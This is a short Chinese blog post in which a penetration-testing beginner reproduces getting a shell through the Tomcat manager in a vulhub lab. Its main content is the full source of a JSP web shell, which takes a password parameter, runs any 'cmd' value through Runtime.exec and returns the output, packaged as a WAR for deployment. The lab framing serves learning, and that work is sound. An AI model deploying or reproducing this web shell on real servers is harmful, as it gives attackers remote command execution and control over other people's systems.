Tomcat后台部署war木马getshell_后面部署war拿shell即可

作者：IT小白 | 2024-03-04 06:54:21

踩

后面部署war拿shell即可

昨儿个面试被问到如何通过tomcat拿shell，之前只是看到，没做过复现，导致自己吃了亏，刚入渗透不久。复现的漏洞太少，经验方面还是远远不够的，一点一点来。复现过程可能比较粗糙，有什么错误还希望各位大哥给小弟指点一番。

靶场搭建：
百度一下，vulhub里边就有
漏洞复现：
进入靶场，找到后台。默认的话是在manager
在这里插入图片描述

在这里插入图片描述

准备好马，打包成war包

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>


    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>
//ps：马的出处：https://blog.csdn.net/Jerry____/article/details/103387763
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28